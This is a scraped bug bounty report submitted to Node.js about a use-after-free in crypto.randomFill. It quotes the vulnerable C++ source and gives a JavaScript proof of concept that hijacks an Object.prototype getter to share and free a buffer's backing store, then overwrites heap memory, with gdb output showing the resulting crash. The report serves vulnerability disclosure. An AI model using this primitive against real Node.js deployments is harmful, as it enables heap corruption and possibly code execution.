Loading HuntDB...

Use After Free in crypto.randomFill

N
Node.js
Submitted None
Reported by tunz

Vulnerability Details

Technical details and impact analysis

Use After Free
**Summary:** We can trigger Use-After-Free while running crypto.randomFill, so we can easily read/write heap memory using a typed array pointing a freed backing store. **Description:** See this `node_crypto.cc` code. ```pp void RandomBytesBuffer(const FunctionCallbackInfo<Value>& args) { ... char* data = Buffer::Data(args[0]); // <------------ Get a backing store from a given argument. data += offset; std::unique_ptr<RandomBytesRequest> req( new RandomBytesRequest(env, obj, size, data, // <--------------------- Store the data to req RandomBytesRequest::DONT_FREE_DATA)); ... } else { Local<Value> argv[2]; RandomBytesProcessSync(env, std::move(req), &argv); // <---- This calls RandomBytesCheck ... ``` ```pp void RandomBytesCheck(RandomBytesRequest* req, Local<Value> (*argv)[2]) { ... char* data = nullptr; size_t size; req->return_memory(&data, &size); (*argv)[0] = Null(req->env()->isolate()); Local<Value> buffer = req->object()->Get(req->env()->context(), req->env()->buffer_string()).ToLocalChecked(); // <----- We can return a non-buffer object here by modifying Object.prototype getter. if (buffer->IsArrayBufferView()) { ... } else { (*argv)[1] = Buffer::New(req->env(), data, size) // <------- This creates a Buffer with the backing store of a given argument Buffer. .ToLocalChecked(); ... ``` As a result, two buffers are sharing a backing store, so this triggers use-after-free if one of the buffers are freed by gc. ## Steps To Reproduce: Execute the following code. ```js const crypto = require('crypto'); Object.defineProperty(Object.prototype, "buffer", { get: function() { return {}; // Return a non-buffer. }, set: function(v) { } }); let size = 100000; let ta = new Uint8Array(size); crypto.randomFillSync(ta, 0, size); // Actually we don't need this part, this makes a buffer free and crashes just for PoC let arr_size = 10000; let arrs = new Array(arr_size); for (let i = 0; i <arr_size; i++) { let tmp = new Array(0x500); arrs[i] = tmp; } // Just overwrites heap memory space to 0x41 for (let i = 0; i < size; i++) { ta[i] = 0x41; } ``` ``` $ ./out/Release/node --version v9.11.1 $ gdb -q --args ./out/Release/node randombytes.js Reading symbols from ./out/Release/node...r done. (gdb) r Starting program: /.../ randombytes.js [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7fcd52464700 (LWP 34515)] [New Thread 0x7fcd51c63700 (LWP 34516)] [New Thread 0x7fcd51462700 (LWP 34520)] [New Thread 0x7fcd50c61700 (LWP 34522)] [New Thread 0x7fcd5391d700 (LWP 34529)] Thread 1 "node" received signal SIGSEGV, Segmentation fault. _int_malloc (av=av@entry=0x7fcd52829b20 <main_arena>, bytes=bytes@entry=8192) at malloc.c:3567 3567 malloc.c: No such file or directory. (gdb) x/i $pc => 0x7fcd524e6f04 <_int_malloc+900>: mov rdx,QWORD PTR [rax+0x8] (gdb) i r rax rax 0x4141414141414141 4702111234474983745 (gdb) ``` I've tested this in node v9.11.1 built with clang in Ubuntu 16.04.3, and also reproducible in the master branch at the time of writing this report. ## Impact This vulnerability could lead to Remote Code Execution.

Report Details

Additional information and metadata

State

Closed

Substate

Informative

Submitted

Weakness

Use After Free